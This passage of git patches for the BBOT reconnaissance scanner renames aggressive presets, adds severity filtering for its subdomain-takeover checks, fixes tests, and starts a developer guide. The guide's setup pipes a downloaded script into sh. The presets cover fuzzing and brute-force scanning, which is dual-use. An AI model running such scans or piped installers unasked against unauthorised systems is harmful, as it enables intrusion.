|----------------------|------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| baddns-intense | | Run all baddns modules and submodules. | 4 | baddns, baddns_direct, baddns_zone, httpx | +| baddns-heavy | | Run all baddns modules and submodules. | 4 | baddns, baddns_direct, baddns_zone, httpx | | cloud-enum | | Enumerate cloud resources such as storage buckets, etc. | 58 | anubisdb, asn, azure_realm, azure_tenant, baddns, baddns_direct, baddns_zone, bevigil, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, httpx, hunterio, ipneighbor, leakix, myssl, oauth, otx, passivetotal, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, social, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, virustotal, wayback | | code-enum | | Enumerate Git repositories, Docker images, etc. | 20 | apkpure, code_repository, docker_pull, dockerhub, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, httpx, jadx, postman, postman_download, social, trufflehog | | dirbust-heavy | web | Recursive web directory brute-force (aggressive) | 5 | ffuf, ffuf_shortnames, httpx, iis_shortnames, wayback | @@ -803,7 +807,7 @@ Here is a the same data, but in a table: | nuclei-technology | nuclei | Run nuclei scans against all discovered targets, running templates which match discovered technologies | 3 | httpx, nuclei, portfilter | | paramminer | web | Discover new web parameters via brute-force, and analyze them with additional modules | 6 | httpx, hunt, paramminer_cookies, paramminer_getparams, paramminer_headers, reflected_parameters | | spider | | Recursive web spider | 1 | httpx | -| spider-intense | | Recursive web spider with more aggressive settings | 1 | httpx | +| spider-heavy | | Recursive web spider with more aggressive settings | 1 | httpx | | subdomain-enum | | Enumerate subdomains via APIs, brute-force | 51 | anubisdb, asn, azure_realm, azure_tenant, baddns_direct, baddns_zone, bevigil, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, httpx, hunterio, ipneighbor, leakix, myssl, oauth, otx, passivetotal, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, social, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, virustotal, wayback | | tech-detect | | Detect technologies via Nuclei, and FingerprintX | 3 | fingerprintx, httpx, nuclei | | web-basic | | Quick web scan | 18 | azure_realm, baddns, badsecrets, bucket_amazon, bucket_firebase, bucket_google, bucket_microsoft, ffuf_shortnames, filedownload, git, graphql_introspection, httpx, iis_shortnames, ntlm, oauth, robots, securitytxt, sslcert | From 02247987f518e38c8439cd883c1c5479a1ae9d7a Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sun, 1 Mar 2026 10:06:31 -0500 Subject: [PATCH 269/912] =?UTF-8?q?baddns=20preset=20tiers,=20auto-filter?= =?UTF-8?q?=20submodules,=20rename=20intense=E2=86=92heavy?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Add submodule auto-filter: disable submodules whose max severity/confidence is below configured thresholds (avoids running expensive submodules for nothing) - Create baddns.yml base preset (CNAME, MX, TXT) and baddns-heavy.yml (all submodules) - Rename spider-intense→spider-heavy, baddns-intense→baddns-heavy - Fix baddns_zone default min_severity to INFORMATIONAL (NSEC/zonetransfer need it) - Update kitchen-sink.yml, remove stale enable_references v1.x config - Fix baddns_zone NSEC test (bad.dns→bad.com for tldextract compatibility) - Fix baddns_direct test (updated signature matcher for baddns 2.0) - Update all preset warning messages and docs references --- README.md | 7 +-- bbot/modules/baddns.py | 50 +++++++++++++++++++ bbot/modules/baddns_zone.py | 2 +- bbot/presets/baddns-heavy.yml | 21 ++++++++ bbot/presets/baddns-intense.yml | 12 ----- bbot/presets/baddns.yml | 11 ++++ bbot/presets/kitchen-sink.yml | 7 +-- bbot/presets/nuclei/nuclei-intense.yml | 2 +- .../{spider-intense.yml => spider-heavy.yml} | 0 bbot/presets/web/lightfuzz-light.yml | 2 +- bbot/presets/web/lightfuzz-xss.yml | 2 +- bbot/presets/web/paramminer.yml | 2 +- .../module_tests/test_module_baddns_direct.py | 7 ++- .../module_tests/test_module_baddns_zone.py | 12 +++-- docs/modules/lightfuzz.md | 2 +- docs/scanning/presets_list.md | 50 ++++++++++--------- 16 files changed, 129 insertions(+), 60 deletions(-) create mode 100644 bbot/presets/baddns-heavy.yml delete mode 100644 bbot/presets/baddns-intense.yml create mode 100644 bbot/presets/baddns.yml rename bbot/presets/{spider-intense.yml => spider-heavy.yml} (100%) diff --git a/README.md b/README.md index 58f5425db0..79610a4d33 100644 --- a/README.md +++ b/README.md @@ -219,12 +219,7 @@ include: - paramminer - dirbust-light - web-screenshots - - baddns-intense - -config: - modules: - baddns: - enable_references: True + - baddns-heavy ``` diff --git a/bbot/modules/baddns.py b/bbot/modules/baddns.py index 9981218680..2b014ba795 100644 --- a/bbot/modules/baddns.py +++ b/bbot/modules/baddns.py @@ -8,6 +8,34 @@ SEVERITY_LEVELS = ("INFORMATIONAL", "LOW", "MEDIUM", "HIGH", "CRITICAL") CONFIDENCE_LEVELS = ("UNKNOWN", "LOW", "MODERATE", "HIGH", "CONFIRMED") +SUBMODULE_MAX_SEVERITY = { + "CNAME": "MEDIUM", + "NS": "MEDIUM", + "MX": "MEDIUM", + "TXT": "LOW", + "references": "MEDIUM", + "NSEC": "INFORMATIONAL", + "zonetransfer": "INFORMATIONAL", + "DMARC": "INFORMATIONAL", + "SPF": "MEDIUM", + "MTA-STS": "HIGH", + "WILDCARD": "HIGH", +} + +SUBMODULE_MAX_CONFIDENCE = { + "CNAME": "CONFIRMED", + "NS": "HIGH", + "MX": "CONFIRMED", + "TXT": "CONFIRMED", + "references": "CONFIRMED", + "NSEC": "CONFIRMED", + "zonetransfer": "CONFIRMED", + "DMARC": "CONFIRMED", + "SPF": "CONFIRMED", + "MTA-STS": "CONFIRMED", + "WILDCARD": "CONFIRMED", +} + class baddns(BaseModule): watched_events = ["DNS_NAME", "DNS_NAME_UNRESOLVED"] @@ -40,6 +68,24 @@ def set_modules(self): if self.enabled_submodules == []: self.enabled_submodules = ["CNAME", "MX", "TXT"] + def _filter_submodules(self): + filtered = [] + for name in self.enabled_submodules: + max_sev = SUBMODULE_MAX_SEVERITY.get(name) + max_conf = SUBMODULE_MAX_CONFIDENCE.get(name) + if max_sev is None or max_conf is None: + filtered.append(name) + continue + sev_idx = SEVERITY_LEVELS.index(max_sev) if max_sev in SEVERITY_LEVELS else 0 + conf_idx = CONFIDENCE_LEVELS.index(max_conf) if max_conf in CONFIDENCE_LEVELS else 0 + if sev_idx < self._min_sev_idx or conf_idx < self._min_conf_idx: + self.verbose( + f"Auto-disabling submodule [{name}]: max_severity={max_sev}, max_confidence={max_conf} below configured thresholds" + ) + else: + filtered.append(name) + return filtered + def _meets_threshold(self, severity, confidence): sev_idx = SEVERITY_LEVELS.index(severity) if severity in SEVERITY_LEVELS else 0 conf_idx = CONFIDENCE_LEVELS.index(confidence) if confidence in CONFIDENCE_LEVELS else 0 @@ -62,6 +108,10 @@ async def setup(self): self._min_conf_idx = CONFIDENCE_LEVELS.index(min_confidence) self.signatures = load_signatures() self.set_modules() + self.enabled_submodules = self._filter_submodules() + if not self.enabled_submodules: + self.warning("All submodules were disabled by severity/confidence thresholds") + return False all_submodules_list = [m.name for m in get_all_modules()] for m in self.enabled_submodules: if m not in all_submodules_list: diff --git a/bbot/modules/baddns_zone.py b/bbot/modules/baddns_zone.py index f711faac61..d51d10ef4f 100644 --- a/bbot/modules/baddns_zone.py +++ b/bbot/modules/baddns_zone.py @@ -10,7 +10,7 @@ class baddns_zone(baddns_module): "created_date": "2024-01-29", "author": "@liquidsec", } - options = {"custom_nameservers": [], "min_severity": "LOW", "min_confidence": "MODERATE"} + options = {"custom_nameservers": [], "min_severity": "INFORMATIONAL", "min_confidence": "MODERATE"} options_desc = { "custom_nameservers": "Force BadDNS to use a list of custom nameservers", "min_severity": "Minimum severity to emit (INFORMATIONAL, LOW, MEDIUM, HIGH, CRITICAL)", diff --git a/bbot/presets/baddns-heavy.yml b/bbot/presets/baddns-heavy.yml new file mode 100644 index 0000000000..7171728864 --- /dev/null +++ b/bbot/presets/baddns-heavy.yml @@ -0,0 +1,21 @@ +description: Run all baddns modules and submodules. + +include: + - baddns + +modules: + - baddns_zone + - baddns_direct + +config: + modules: + baddns: + enabled_submodules: [CNAME, NS, MX, TXT, references, DMARC, SPF, MTA-STS, WILDCARD] + min_severity: INFORMATIONAL + min_confidence: UNKNOWN + baddns_zone: + min_severity: INFORMATIONAL + min_confidence: UNKNOWN + baddns_direct: + min_severity: INFORMATIONAL + min_confidence: UNKNOWN diff --git a/bbot/presets/baddns-intense.yml b/bbot/presets/baddns-intense.yml deleted file mode 100644 index 8afeebd3d9..0000000000 --- a/bbot/presets/baddns-intense.yml +++ /dev/null @@ -1,12 +0,0 @@ -description: Run all baddns modules and submodules. - - -modules: - - baddns - - baddns_zone - - baddns_direct - -config: - modules: - baddns: - enabled_submodules: [CNAME,references,MX,NS,TXT] diff --git a/bbot/presets/baddns.yml b/bbot/presets/baddns.yml new file mode 100644 index 0000000000..c737257011 --- /dev/null +++ b/bbot/presets/baddns.yml @@ -0,0 +1,11 @@ +description: Check for subdomain takeovers and other DNS issues. + +modules: + - baddns + +config: + modules: + baddns: + enabled_submodules: [CNAME, MX, TXT] + min_severity: LOW + min_confidence: MODERATE diff --git a/bbot/presets/kitchen-sink.yml b/bbot/presets/kitchen-sink.yml index c01039099e..7b98d2934e 100644 --- a/bbot/presets/kitchen-sink.yml +++ b/bbot/presets/kitchen-sink.yml @@ -10,9 +10,4 @@ include: - paramminer - dirbust-light - web-screenshots - - baddns-intense - -config: - modules: - baddns: - enable_references: True + - baddns-heavy diff --git a/bbot/presets/nuclei/nuclei-intense.yml b/bbot/presets/nuclei/nuclei-intense.yml index 27f833c387..6486ca8586 100644 --- a/bbot/presets/nuclei/nuclei-intense.yml +++ b/bbot/presets/nuclei/nuclei-intense.yml @@ -18,7 +18,7 @@ config: conditions: - | {% if config.web.spider_distance == 0 and config.modules.nuclei.directory_only == False %} - {{ warn("The 'nuclei-intense' preset turns the 'directory_only' limitation off on the nuclei module. To make the best use of this, you may want to enable spidering with 'spider' or 'spider-intense' preset.") }} + {{ warn("The 'nuclei-intense' preset turns the 'directory_only' limitation off on the nuclei module. To make the best use of this, you may want to enable spidering with 'spider' or 'spider-heavy' preset.") }} {% endif %} diff --git a/bbot/presets/spider-intense.yml b/bbot/presets/spider-heavy.yml similarity index 100% rename from bbot/presets/spider-intense.yml rename to bbot/presets/spider-heavy.yml diff --git a/bbot/presets/web/lightfuzz-light.yml b/bbot/presets/web/lightfuzz-light.yml index 85bd2a81a1..3c8f69ec07 100644 --- a/bbot/presets/web/lightfuzz-light.yml +++ b/bbot/presets/web/lightfuzz-light.yml @@ -17,5 +17,5 @@ config: conditions: - | {% if config.web.spider_distance == 0 %} - {{ warn("Lightfuzz works much better with spider enabled! Consider adding 'spider' or 'spider-intense' preset.") }} + {{ warn("Lightfuzz works much better with spider enabled! Consider adding 'spider' or 'spider-heavy' preset.") }} {% endif %} diff --git a/bbot/presets/web/lightfuzz-xss.yml b/bbot/presets/web/lightfuzz-xss.yml index 83354cd291..46a922bb09 100644 --- a/bbot/presets/web/lightfuzz-xss.yml +++ b/bbot/presets/web/lightfuzz-xss.yml @@ -18,5 +18,5 @@ config: conditions: - | {% if config.web.spider_distance == 0 %} - {{ warn("The lightfuzz-xss preset works much better with spider enabled! Consider adding 'spider' or 'spider-intense' preset.") }} + {{ warn("The lightfuzz-xss preset works much better with spider enabled! Consider adding 'spider' or 'spider-heavy' preset.") }} {% endif %} diff --git a/bbot/presets/web/paramminer.yml b/bbot/presets/web/paramminer.yml index 3057a1b3a9..634e883742 100644 --- a/bbot/presets/web/paramminer.yml +++ b/bbot/presets/web/paramminer.yml @@ -11,5 +11,5 @@ modules: conditions: - | {% if config.web.spider_distance == 0 %} - {{ warn("The paramminer preset works much better with spider enabled! Consider adding 'spider' or 'spider-intense' preset.") }} + {{ warn("The paramminer preset works much better with spider enabled! Consider adding 'spider' or 'spider-heavy' preset.") }} {% endif %} \ No newline at end of file diff --git a/bbot/test/test_step_2/module_tests/test_module_baddns_direct.py b/bbot/test/test_step_2/module_tests/test_module_baddns_direct.py index b2b49717c8..03b98b8dd0 100644 --- a/bbot/test/test_step_2/module_tests/test_module_baddns_direct.py +++ b/bbot/test/test_step_2/module_tests/test_module_baddns_direct.py @@ -44,7 +44,10 @@ def set_target(self, target): module_test.scan.modules["dummy_module"] = self.dummy_module expect_args = {"method": "GET", "uri": "/"} - respond_args = {"response_data": "The specified bucket does not exist", "status": 401} + respond_args = { + "response_data": "NoSuchBucketThe specified bucket does not existbad.dns", + "status": 401, + } module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) await module_test.mock_dns({"bad.dns": {"A": ["127.0.0.1"]}}) @@ -55,7 +58,7 @@ def set_target(self, target): def check(self, module_test, events): assert any( e.type == "FINDING" - and "Possible [AWS Bucket Takeover Detection] via direct BadDNS analysis. Indicator: [[Words: The specified bucket does not exist | Condition: and | Part: body] Matchers-Condition: and] Trigger: [self] baddns Module: [CNAME]" + and "Possible [AWS Bucket Takeover Detection] via direct BadDNS analysis. Indicator: [[Words: The specified bucket does not exist, BucketName | Condition: and | Part: body] Matchers-Condition: and] Trigger: [self] baddns Module: [CNAME]" in e.data["description"] for e in events ), "Failed to emit FINDING" diff --git a/bbot/test/test_step_2/module_tests/test_module_baddns_zone.py b/bbot/test/test_step_2/module_tests/test_module_baddns_zone.py index 10da342217..688f105ea5 100644 --- a/bbot/test/test_step_2/module_tests/test_module_baddns_zone.py +++ b/bbot/test/test_step_2/module_tests/test_module_baddns_zone.py @@ -43,20 +43,22 @@ def check(self, module_test, events): class TestBaddns_zone_nsec(BaseTestBaddns_zone): + targets = ["bad.com"] + async def setup_after_prep(self, module_test): from baddns.lib.whoismanager import WhoisManager await module_test.mock_dns( { - "bad.dns": {"A": ["127.0.0.5"], "NSEC": ["asdf.bad.dns"]}, - "asdf.bad.dns": {"NSEC": ["zzzz.bad.dns"]}, - "zzzz.bad.dns": {"NSEC": ["xyz.bad.dns"]}, + "bad.com": {"A": ["127.0.0.5"], "NSEC": ["asdf.bad.com"]}, + "asdf.bad.com": {"NSEC": ["zzzz.bad.com"]}, + "zzzz.bad.com": {"NSEC": ["xyz.bad.com"]}, } ) module_test.monkeypatch.setattr(WhoisManager, "dispatchWHOIS", self.dispatchWHOIS) def check(self, module_test, events): - assert any(e.data == "zzzz.bad.dns" for e in events), "NSEC Walk Failed (1)" - assert any(e.data == "xyz.bad.dns" for e in events), "NSEC Walk Failed (2)" + assert any(e.data == "zzzz.bad.com" for e in events), "NSEC Walk Failed (1)" + assert any(e.data == "xyz.bad.com" for e in events), "NSEC Walk Failed (2)" assert any(e.type == "FINDING" for e in events), "Failed to emit FINDING" assert any("baddns-nsec" in e.tags for e in events), "Failed to add baddns tag" diff --git a/docs/modules/lightfuzz.md b/docs/modules/lightfuzz.md index ecaf733a4c..a869c1ce96 100644 --- a/docs/modules/lightfuzz.md +++ b/docs/modules/lightfuzz.md @@ -92,7 +92,7 @@ This is a special Lightfuzz preset that focuses entirely on XSS, to make XSS hun We also *strongly* recommend running Lightfuzz with the spider enabled, as this will dramatically increase the number of parameters that are discovered. If you don't, you will see a warning reminding you that things will work a lot better if you do. -That can be done by simply also enabling either the `spider` or `spider-intense` preset. +That can be done by simply also enabling either the `spider` or `spider-heavy` preset. # Usage diff --git a/docs/scanning/presets_list.md b/docs/scanning/presets_list.md index af7ca4db37..5448317b8d 100644 --- a/docs/scanning/presets_list.md +++ b/docs/scanning/presets_list.md @@ -1,24 +1,33 @@ Below is a list of every default BBOT preset, including its YAML. -## **baddns-intense** +## **baddns-heavy** Run all baddns modules and submodules. -??? note "`baddns-intense.yml`" - ```yaml title="~/.bbot/presets/baddns-intense.yml" +??? note "`baddns-heavy.yml`" + ```yaml title="~/.bbot/presets/baddns-heavy.yml" description: Run all baddns modules and submodules. - - - modules: + + include: - baddns + + modules: - baddns_zone - baddns_direct - + config: modules: baddns: - enabled_submodules: [CNAME,references,MX,NS,TXT] + enabled_submodules: [CNAME, NS, MX, TXT, references, DMARC, SPF, MTA-STS, WILDCARD] + min_severity: INFORMATIONAL + min_confidence: UNKNOWN + baddns_zone: + min_severity: INFORMATIONAL + min_confidence: UNKNOWN + baddns_direct: + min_severity: INFORMATIONAL + min_confidence: UNKNOWN ``` @@ -261,12 +270,7 @@ Everything everywhere all at once - paramminer - dirbust-light - web-screenshots - - baddns-intense - - config: - modules: - baddns: - enable_references: True + - baddns-heavy ``` @@ -326,7 +330,7 @@ Discover web parameters and lightly fuzz them for vulnerabilities, with only the conditions: - | {% if config.web.spider_distance == 0 %} - {{ warn("Lightfuzz works much better with spider enabled! Consider adding 'spider' or 'spider-intense' preset.") }} + {{ warn("Lightfuzz works much better with spider enabled! Consider adding 'spider' or 'spider-heavy' preset.") }} {% endif %} ``` @@ -412,7 +416,7 @@ Discover web parameters and lightly fuzz them, limited to just GET-based xss vul conditions: - | {% if config.web.spider_distance == 0 %} - {{ warn("The lightfuzz-xss preset works much better with spider enabled! Consider adding 'spider' or 'spider-intense' preset.") }} + {{ warn("The lightfuzz-xss preset works much better with spider enabled! Consider adding 'spider' or 'spider-heavy' preset.") }} {% endif %} ``` @@ -523,7 +527,7 @@ Run nuclei scans against all discovered targets, allowing for spidering, against conditions: - | {% if config.web.spider_distance == 0 and config.modules.nuclei.directory_only == False %} - {{ warn("The 'nuclei-intense' preset turns the 'directory_only' limitation off on the nuclei module. To make the best use of this, you may want to enable spidering with 'spider' or 'spider-intense' preset.") }} + {{ warn("The 'nuclei-intense' preset turns the 'directory_only' limitation off on the nuclei module. To make the best use of this, you may want to enable spidering with 'spider' or 'spider-heavy' preset.") }} {% endif %} @@ -591,7 +595,7 @@ Discover new web parameters via brute-force, and analyze them with additional mo conditions: - | {% if config.web.spider_distance == 0 %} - {{ warn("The paramminer preset works much better with spider enabled! Consider adding 'spider' or 'spider-intense' preset.") }} + {{ warn("The paramminer preset works much better with spider enabled! Consider adding 'spider' or 'spider-heavy' preset.") }} {% endif %} ``` @@ -628,12 +632,12 @@ Recursive web spider Modules: [1]("`httpx`") -## **spider-intense** +## **spider-heavy** Recursive web spider with more aggressive settings -??? note "`spider-intense.yml`" - ```yaml title="~/.bbot/presets/spider-intense.yml" +??? note "`spider-heavy.yml`" + ```yaml title="~/.bbot/presets/spider-heavy.yml" description: Recursive web spider with more aggressive settings include: @@ -782,7 +786,7 @@ Here is a the same data, but in a table: | Preset | Category | Description | # Modules | Modules | |----------------------|------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| baddns-intense | | Run all baddns modules and submodules. | 4 | baddns, baddns_direct, baddns_zone, httpx | +| baddns-heavy | | Run all baddns modules and submodules. | 4 | baddns, baddns_direct, baddns_zone, httpx | | cloud-enum | | Enumerate cloud resources such as storage buckets, etc. | 58 | anubisdb, asn, azure_realm, azure_tenant, baddns, baddns_direct, baddns_zone, bevigil, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, httpx, hunterio, ipneighbor, leakix, myssl, oauth, otx, passivetotal, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, social, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, virustotal, wayback | | code-enum | | Enumerate Git repositories, Docker images, etc. | 20 | apkpure, code_repository, docker_pull, dockerhub, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, httpx, jadx, postman, postman_download, social, trufflehog | | dirbust-heavy | web | Recursive web directory brute-force (aggressive) | 5 | ffuf, ffuf_shortnames, httpx, iis_shortnames, wayback | @@ -803,7 +807,7 @@ Here is a the same data, but in a table: | nuclei-technology | nuclei | Run nuclei scans against all discovered targets, running templates which match discovered technologies | 3 | httpx, nuclei, portfilter | | paramminer | web | Discover new web parameters via brute-force, and analyze them with additional modules | 6 | httpx, hunt, paramminer_cookies, paramminer_getparams, paramminer_headers, reflected_parameters | | spider | | Recursive web spider | 1 | httpx | -| spider-intense | | Recursive web spider with more aggressive settings | 1 | httpx | +| spider-heavy | | Recursive web spider with more aggressive settings | 1 | httpx | | subdomain-enum | | Enumerate subdomains via APIs, brute-force | 51 | anubisdb, asn, azure_realm, azure_tenant, baddns_direct, baddns_zone, bevigil, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, httpx, hunterio, ipneighbor, leakix, myssl, oauth, otx, passivetotal, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, social, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, virustotal, wayback | | tech-detect | | Detect technologies via Nuclei, and FingerprintX | 3 | fingerprintx, httpx, nuclei | | web-basic | | Quick web scan | 18 | azure_realm, baddns, badsecrets, bucket_amazon, bucket_firebase, bucket_google, bucket_microsoft, ffuf_shortnames, filedownload, git, graphql_introspection, httpx, iis_shortnames, ntlm, oauth, robots, securitytxt, sslcert | From 3a48e1e62c7b046ccb3f5253fd98d4f49cfc3496 Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Mon, 2 Mar 2026 16:48:26 -0500 Subject: [PATCH 270/912] agents.md --- AGENTS.md | 953 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ CLAUDE.md | 1 + 2 files changed, 954 insertions(+) create mode 100644 AGENTS.md create mode 100644 CLAUDE.md diff --git a/AGENTS.md b/AGENTS.md new file mode 100644 index 0000000000..d61e2f6b4f --- /dev/null +++ b/AGENTS.md @@ -0,0 +1,953 @@ +# BBOT Developer Guide + +## Core Principles + +### Modularity Principle +When writing a BBOT module, make sure all module-specific code lives in the module itself. Don't hard-code module-specific things in core or in helpers. + +### DRY Principle +Don't Repeat Yourself -- and interpret this broadly. If two pieces of code aren't identical but follow a similar enough pattern that they could be generalized, they should be. Extract shared logic into a common abstraction rather than duplicating the pattern. Usually this means creating a shared helper, or a shared module template in `bbot/modules/templates`. When you notice structural similarity, unify it. + +### Engineering Principle +Every system that is implemented must be implemented properly. No hacks, no hardcoding, no shortcuts. If we implement one of something, we build a proper system for it. It's okay to take a step back from the current task, in order to do things right. This relates directly to the Modularity Principle above. + +### Testing Principle +BBOT has extremely thorough tests, including **one or more individual tests for each module, with no exceptions**. This is critical to maintaining stability in a recursive tool, which by its nature flirts with race conditions and infinite loops. If you add a module, you write a test. If you change a module, you make sure its test still passes. + +--- + +## Tooling + +- **Package manager**: [uv](https://docs.astral.sh/uv/) +- **Linter/formatter**: [ruff](https://docs.astral.sh/ruff/) (pinned to 0.15.2) +- **Test framework**: [pytest](https://docs.pytest.org/) with pytest-asyncio +- **Python**: 3.10 - 3.14 + +--- + +## Dev Environment Setup + +```bash +# 1. Fork and clone +git clone git@github.com:/bbot.git +cd bbot + +# 2. Switch to dev branch, then create a feature branch +git checkout dev +git checkout -b my-feature + +# 3. Install uv (if you haven't already) +curl -LsSf https://astral.sh/uv/install.sh | sh + +# 4. Install all dependencies (including dev) +uv sync --group dev + +# 5. Install pre-commit hooks (ruff, file checks, etc.) +uv run pre-commit install + +# 6. Activate the virtualenv +source .venv/bin/activate + +# 7. Verify +bbot --help +``` + +### Running Tests + +```bash +# Run the full suite +./bbot/test/run_tests.sh + +# Run specific module tests +./bbot/test/run_tests.sh robots,sslcert + +# Run a single test file directly +pytest bbot/test/test_step_2/module_tests/test_module_robots.py -x -vv +``` + +### Linting + +```bash +ruff check # lint +ruff format # auto-format +ruff format --check # verify formatting without changes +``` + +Ruff config (from `pyproject.toml`): +- Line length: 119 +- Rules: `E` + `F` (pycodestyle + pyflakes) +- Ignored: `E402`, `E711`, `E713`, `E721`, `E741`, `F403`, `F405`, `E501` + +### Git Workflow + +- `stable` - production releases +- `dev` - active development, PR target +- Feature branches are created from `dev` + +--- + +## Architecture Overview + +### How a Scan Works + +BBOT is an async, recursive OSINT tool. A scan starts with **seed events** (targets) and passes them through a pipeline of **modules**. Each module watches for specific event types, processes them, and may emit new events, which feed back into the pipeline. This continues until no module has anything left to do. + +``` + Seeds (targets) + | + v + +--------------+ + | ScanIngress | dedup, blacklist, scope check + +--------------+ + | + v + +--------------+ + | Intercept | dns, cloud tagging + | Modules | (modify/tag events before distribution) + +--------------+ + | + v + +--------------+ + | ScanEgress | scope filtering, graph management + +--------------+ + | + v + +-----------+-----------+ + | | | + Module A Module B Module C ... + | | | + +-----------+-----------+ + | + v + Output Modules (json, csv, neo4j, ...) +``` + +### Events + +Events are the currency of BBOT. Every piece of data -- a hostname, IP, URL, open port, finding -- is an event. Events have: + +- **type**: `DNS_NAME`, `IP_ADDRESS`, `URL`, `OPEN_TCP_PORT`, `HTTP_RESPONSE`, `FINDING`, `VULNERABILITY`, `EMAIL_ADDRESS`, etc. +- **data**: the actual data (a string, dict, etc.) +- **parent**: the event that led to this one (forming a discovery chain) +- **scope_distance**: how many hops from the original target (0 = in-scope) +- **tags**: metadata like `in-scope`, `affiliate`, `cloud-azure`, `open-port`, etc. +- **module**: which module discovered it + +### Scope Distance + +Scope distance tracks how far an event is from the original target: +- `0` = explicitly in-scope (matches target or discovered in-scope) +- `1` = one hop away (e.g. a hostname found in an SSL cert of an in-scope host) +- `2+` = further away + +The scan's `scope.search_distance` (default 0) controls how far modules are allowed to look. A module's `scope_distance_modifier` adjusts this per-module. + +### Helpers + +BBOT has a helper for almost everything. **Please use them.** They're accessible via `self.helpers` inside any module. + +Key helpers: + +| Helper | What it does | +|--------|-------------| +| `self.helpers.request(url)` | Make an HTTP request (with retries, SSL handling, etc.) | +| `self.helpers.resolve(host)` | DNS resolution | +| `self.helpers.is_ip(s)` | Check if string is an IP | +| `self.helpers.is_dns_name(s)` | Check if string is a hostname | +| `self.helpers.split_domain(host)` | Split into subdomain + root domain | +| `self.helpers.domain_parents(domain)` | Get all parent domains | +| `self.helpers.make_netloc(host, port)` | Format `host:port` (handles IPv6) | +| `self.helpers.parent_domain(domain)` | Get immediate parent domain | +| `self.helpers.beautifulsoup(html, parser)` | Parse HTML | +| `self.helpers.validators.validate_host(h)` | Validate and normalize a hostname | +| `self.helpers.tempfile(data, pipe=False)` | Create a temp file with content | +| `self.helpers.run(command)` | Run a shell command | +| `self.helpers.run_live(command)` | Run a shell command, stream output | +| `self.helpers.as_completed(tasks)` | Async iteration of completed tasks | +| `self.helpers.wordlist(url_or_path)` | Download/cache a wordlist | +| `self.helpers.rand_string(n)` | Random string of length n | +| `self.helpers.regexes.email_regex` | Pre-compiled email regex | +| `self.helpers.add_get_params(url, params)` | Add query params to a URL | +| `self.helpers.quote(s)` | URL-encode a string | +| `self.helpers.make_ip_type(s)` | Convert string to `ipaddress` object | +| `self.helpers.parse_port_string(s)` | Parse port range string (e.g. `"80,443,8000-9000"`) | +| `self.helpers.top_tcp_ports(n)` | Get top N TCP ports | + +There are hundreds more in `bbot/core/helpers/misc.py`. Browse them before writing utility code yourself. + +--- + +## Writing a Module + +### Quick Start + +1. Create `bbot/modules/my_module.py` +2. Define a class that inherits from `BaseModule` +3. Set `watched_events`, `produced_events`, `flags`, and `meta` +4. Implement `handle_event()` +5. Create `bbot/test/test_step_2/module_tests/test_module_my_module.py` + +Here's a minimal module: + +```python +from bbot.modules.base import BaseModule + + +class my_module(BaseModule): + watched_events = ["DNS_NAME"] + produced_events = ["EMAIL_ADDRESS"] + flags = ["passive", "safe", "email-enum"] + meta = { + "description": "Query example.com for email addresses", + "created_date": "2025-01-01", + "author": "@you", + } + + async def handle_event(self, event): + url = f"https://api.example.com/lookup?domain={event.data}" + r = await self.helpers.request(url) + if r and r.status_code == 200: + for email in r.json().get("emails", []): + await self.emit_event( + email, + "EMAIL_ADDRESS", + parent=event, + context=f"{{module}} queried example.com and found {{event.type}}: {{event.data}}", + ) +``` + +And its test: + +```python +from .base import ModuleTestBase + + +class TestMyModule(ModuleTestBase): + async def setup_after_prep(self, module_test): + 